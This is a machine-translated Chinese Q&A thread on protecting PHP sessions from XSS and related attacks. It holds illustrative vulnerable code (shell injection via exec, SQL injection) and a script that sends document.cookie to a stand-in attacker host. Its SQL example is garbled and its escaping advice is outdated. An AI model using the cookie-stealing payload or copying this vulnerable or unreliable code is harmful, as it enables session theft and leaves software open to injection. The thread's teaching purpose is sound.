保护PHP会话免受XSS攻击

保护PHP会话免受XSS攻击,php,html,session,input,xss,Php,Html,Session,Input,Xss,我已经阅读了很多关于owasp.org的文章,其中一件我记得最清楚也不太明白的事情就是保护PHP会话 我不能很好地理解安全会话是如何进行的,因此我在这里提问。在PHP中保护会话的最佳方法是什么 附带问题:文件输入是否易受XSS攻击 这是PHP会话劫持的来源: 在PHP中保护会话的最佳方法是什么 安全性跟你去商店买一瓶牛奶没什么两样。阅读客户评论可能会告诉你什么是最好的牛奶,但是出于安全考虑,这有点不同 客户评论是Owasp概述的内容。它告诉您保护会话处理的一般动态和含义 由于PHP会话只是PH

我已经阅读了很多关于
owasp.org
的文章,其中一件我记得最清楚也不太明白的事情就是保护PHP会话

我不能很好地理解安全会话是如何进行的,因此我在这里提问。在PHP中保护会话的最佳方法是什么

附带问题:文件输入是否易受XSS攻击

这是PHP会话劫持的来源:

在PHP中保护会话的最佳方法是什么

安全性跟你去商店买一瓶牛奶没什么两样。阅读客户评论可能会告诉你什么是最好的牛奶,但是出于安全考虑,这有点不同

客户评论是Owasp概述的内容。它告诉您保护会话处理的一般动态和含义

由于PHP会话只是PHP本身提供的某种基本功能,因此没有多少东西可以告诉您保护这些会话的最佳方法,因为这在很大程度上取决于您如何使用该功能

然而,使用PHP会话的最佳方式的一个明显部分是关注PHP本身的安全报告和评论以及sepecific中的会话功能。然后注意保持最新的PHP版本,它提供了保护会话的最佳方法,可能是最新的稳定版本。有时,如果报告了缺陷,那么下一个版本中的问题并不是完全修复的,所以要小心

其他与PHP无关的内容都没有定义,Owasp在这里只能提供一个子集

因此,为了安全起见,在开始将其应用于(您的)PHP代码之前,首先了解Owasp文档中概述的内容是绝对重要的。例如,通过在这里提问,可以给IMHO的最佳指导是让您更难理解Owasp文档中正在发生的事情和含义


了解事物如何工作是安全的关键。

确保所有环境安全的最佳方法是学习PHP web框架,该框架将为您提供随时可用的安全级别输入


很明显,安全性是不存在的,它存在一个更好的安全性和一个最差的安全性,我建议你不要重新发明轮子,因此根据社区bug/hack报告,web框架每天都在被深度修复,我认为这是你能获得的最大安全级别

以下是需要记住的一些主要问题:

不验证用户输入 假设您有一个允许用户查看文件夹内容的网页(例如,您的托管公司向用户显示其在服务器上的文件)

下面是一些可能实现这一点的代码:

$directory = $_GET['directory'];

exec("ls $directory", $result);
攻击者可以通过将其他命令传入url字符串来利用此漏洞,例如:

ls -LR
劫持 每个会话都有一个唯一的ID,如果攻击者获得该ID,他们可以(潜在地)使用该ID获取机密信息

为了防止出现这种情况,请用户在执行任何敏感操作之前(例如,如果用户希望重置其密码,请强制他们首先输入旧密码)重新验证(使用其密码)

XSS(跨站点脚本攻击) 每当您的站点包含用户生成的内容(博客上的评论就是一个很好的例子)时,攻击者就会在其内容(阅读:他的评论)中添加javaScript,这可能会对访问该页面的所有用户造成潜在威胁

以下是一个例子:

<script> 
    document.location = 'http://www.hackingYou.com/stealYourData.php?' + document.cookie; 
</script>
SQL注入 (如果没有这个答案,这将是一个不体面的回答)

假设您有一个将用户登录到站点的网页。为了让他们成功登录,您需要在数据库中检查他们的记录

下面是它的编码方式:

$sql = "SELECT * FROM users WHERE username = $_GET['username'] and password = $_GET['password']";
攻击者可以通过输入密码字段来利用此漏洞:

abcd OR WHERE 1 = 1
生成的sql语句如下所示:

SELECT * FROM users WHERE username = hacker AND password = abcd OR WHERE 1 = 1;
这将向攻击者吐出所有用户名和密码的完整表

要防止此“清理”,请使用以下命令为SQL输入字符串:

strip_tags($input);
mysql_real_escape_string($input) 
这是最基本的,显然,人们应该通过阅读最新的安全公告来随时了解最新情况,例如:

ls -LR
  • (专注于安全性的PHP专家)

你的问题有点不清楚:你写了“我能很好地理解安全会话的进展情况”——到目前为止还不错。但是接着:“所以我在这里问。在PHP中保护会话的最佳方法是什么?”——那么现在呢?你到底懂不懂?两者都不可能。XSS允许攻击者将客户端代码注入其他人查看的网页。如果您将上载的文件显示为网页,或者以某种方式将其嵌入(未经扫描)到您自己的页面中,则是的,文件输入可能会受到攻击。否则,不,不是真的。@hakre如果这让你感到不安,那么我纠正了这个错误,尽管问题是什么是显而易见的,因为它们不是你提到的句子的一部分——它们是分开的。至于Blender,很好,那么sessions呢?关于安全建议,你需要小心,你会看到我的答案。请告诉我可以粘贴哪些代码来确保我的应用程序的安全。@WesleyMurch:Easy;),在每个PHP文件的顶部:
-如果您将服务器从internet上拔下,那么您和您的应用程序可以安全地休息。但是,哪一种更快,
死亡
退出
?;)@WesleyMurch,这取决于代码自身运行的服务器的移动速度。-因此,在当前时间点,我无法回答,因为这些信息缺失。然而,对于未来的读者来说,答案毫无意义,因为这种情况会再次发生。由于该函数是一个别名,它高度依赖于地球自转和海拔高度。顺便说一句,谢谢你,hakre它工作得很好。这高度依赖于框架,并且有缺点,即每个社区可能会使用术语会话以及安全性